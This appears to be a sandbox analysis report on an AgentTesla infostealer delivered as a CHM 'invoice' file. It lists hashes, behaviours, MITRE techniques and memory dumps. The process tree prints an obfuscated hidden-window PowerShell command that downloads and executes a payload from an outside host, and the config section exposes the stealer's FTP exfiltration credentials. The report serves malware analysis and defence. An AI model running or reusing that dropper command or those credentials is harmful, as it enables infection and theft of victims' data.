agenttesla | 033758dbc1ab6f9f886e3bb6ff552f753d7dddbeb477f42ec228e420a6f34e11

Analysis

max time kernel
96s
max time network
115s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
12/04/2023, 06:55

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General

Target

FACTURE_.chm
Size

15KB
MD5

7074f8f5a3355c9bddec17025f30ec72
SHA1

801809828ef905fe29f8f96f9633c38d2749a438
SHA256

b418af4dc3b0cc92eb25863dc3525421d3ae4c358150e94728d51837443fd65f
SHA512

c86b657207cc5c117c4932cad722c27203762162afa48d1cb9d741135c25f7642bad54c2af0875d2e4c8134d0fc5d79456ed61607b6738c5a1b790e1c4a75719
SSDEEP

192:W87fDT/i1gtElXYSRQyBRobaycV8rRqiDjYX:WcXa1gtWXYSRQ4cayVleX

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://linado.lt/J7.jpg

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.kamen.si
Port:
21
Username:
[email protected]
Password:
Motherland23@

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	3888	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
3888	powershell.exe
3888	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3888 set thread context of 872	3888	powershell.exe	90

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3888	powershell.exe
3888	powershell.exe
3888	powershell.exe
3888	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeIncreaseQuotaPrivilege	3888	powershell.exe
Token: SeSecurityPrivilege	3888	powershell.exe
Token: SeTakeOwnershipPrivilege	3888	powershell.exe
Token: SeLoadDriverPrivilege	3888	powershell.exe
Token: SeSystemProfilePrivilege	3888	powershell.exe
Token: SeSystemtimePrivilege	3888	powershell.exe
Token: SeProfSingleProcessPrivilege	3888	powershell.exe
Token: SeIncBasePriorityPrivilege	3888	powershell.exe
Token: SeCreatePagefilePrivilege	3888	powershell.exe
Token: SeBackupPrivilege	3888	powershell.exe
Token: SeRestorePrivilege	3888	powershell.exe
Token: SeShutdownPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeSystemEnvironmentPrivilege	3888	powershell.exe
Token: SeRemoteShutdownPrivilege	3888	powershell.exe
Token: SeUndockPrivilege	3888	powershell.exe
Token: SeManageVolumePrivilege	3888	powershell.exe
Token: 33	3888	powershell.exe
Token: 34	3888	powershell.exe
Token: 35	3888	powershell.exe
Token: 36	3888	powershell.exe
Token: SeIncreaseQuotaPrivilege	3888	powershell.exe
Token: SeSecurityPrivilege	3888	powershell.exe
Token: SeTakeOwnershipPrivilege	3888	powershell.exe
Token: SeLoadDriverPrivilege	3888	powershell.exe
Token: SeSystemProfilePrivilege	3888	powershell.exe
Token: SeSystemtimePrivilege	3888	powershell.exe
Token: SeProfSingleProcessPrivilege	3888	powershell.exe
Token: SeIncBasePriorityPrivilege	3888	powershell.exe
Token: SeCreatePagefilePrivilege	3888	powershell.exe
Token: SeBackupPrivilege	3888	powershell.exe
Token: SeRestorePrivilege	3888	powershell.exe
Token: SeShutdownPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeSystemEnvironmentPrivilege	3888	powershell.exe
Token: SeRemoteShutdownPrivilege	3888	powershell.exe
Token: SeUndockPrivilege	3888	powershell.exe
Token: SeManageVolumePrivilege	3888	powershell.exe
Token: 33	3888	powershell.exe
Token: 34	3888	powershell.exe
Token: 35	3888	powershell.exe
Token: 36	3888	powershell.exe
Token: SeDebugPrivilege	872	MSBuild.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4704	hh.exe
4704	hh.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4704 wrote to memory of 3888	4704	hh.exe	83
PID 4704 wrote to memory of 3888	4704	hh.exe	83
PID 3888 wrote to memory of 4560	3888	powershell.exe	89
PID 3888 wrote to memory of 4560	3888	powershell.exe	89
PID 3888 wrote to memory of 4560	3888	powershell.exe	89
PID 3888 wrote to memory of 872	3888	powershell.exe	90
PID 3888 wrote to memory of 872	3888	powershell.exe	90
PID 3888 wrote to memory of 872	3888	powershell.exe	90
PID 3888 wrote to memory of 872	3888	powershell.exe	90
PID 3888 wrote to memory of 872	3888	powershell.exe	90
PID 3888 wrote to memory of 872	3888	powershell.exe	90
PID 3888 wrote to memory of 872	3888	powershell.exe	90
PID 3888 wrote to memory of 872	3888	powershell.exe	90

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\FACTURE_.chm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'https' + '://linado.lt/J7.jpg')|P
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3888
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4560
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\1d9b9a97-3015-4496-aacb-801487019197\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\1d9b9a97-3015-4496-aacb-801487019197\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ohgzlrhf.a5p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\be437fad-1485-45d9-8576-e388fb49002e\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
memory/872-250-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/872-251-0x0000000005CF0000-0x0000000006294000-memory.dmp

Filesize
5.6MB

Download
memory/872-260-0x00000000057B0000-0x00000000057C0000-memory.dmp

Filesize
64KB

Download
memory/872-259-0x0000000006E00000-0x0000000006FC2000-memory.dmp

Filesize
1.8MB

Download
memory/872-258-0x0000000006A90000-0x0000000006AE0000-memory.dmp

Filesize
320KB

Download
memory/872-257-0x0000000006940000-0x000000000694A000-memory.dmp

Filesize
40KB

Download
memory/872-256-0x0000000006980000-0x0000000006A12000-memory.dmp

Filesize
584KB

Download
memory/872-254-0x00000000057B0000-0x00000000057C0000-memory.dmp

Filesize
64KB

Download
memory/872-252-0x0000000005830000-0x0000000005896000-memory.dmp

Filesize
408KB

Download
memory/3888-186-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-213-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download
memory/3888-168-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-170-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-172-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-174-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-176-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-178-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-180-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-182-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-184-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-164-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-188-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-190-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-192-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-194-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-196-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-198-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-200-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-166-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-214-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download
memory/3888-216-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download
memory/3888-218-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download
memory/3888-220-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download
memory/3888-222-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download
memory/3888-224-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download
memory/3888-226-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download
memory/3888-228-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download
memory/3888-230-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download
memory/3888-161-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-162-0x000002BACD130000-0x000002BACD159000-memory.dmp

Filesize
164KB

Download
memory/3888-160-0x00007FFAB4F60000-0x00007FFAB50AE000-memory.dmp

Filesize
1.3MB

Download
memory/3888-153-0x000002BACD170000-0x000002BACD180000-memory.dmp

Filesize
64KB

Download
memory/3888-152-0x000002BACD170000-0x000002BACD180000-memory.dmp

Filesize
64KB

Download
memory/3888-151-0x000002BACD170000-0x000002BACD180000-memory.dmp

Filesize
64KB

Download
memory/3888-141-0x000002BACD0C0000-0x000002BACD0E2000-memory.dmp

Filesize
136KB

Download
memory/3888-232-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download
memory/3888-234-0x000002BACE380000-0x000002BACE397000-memory.dmp

Filesize
92KB

Download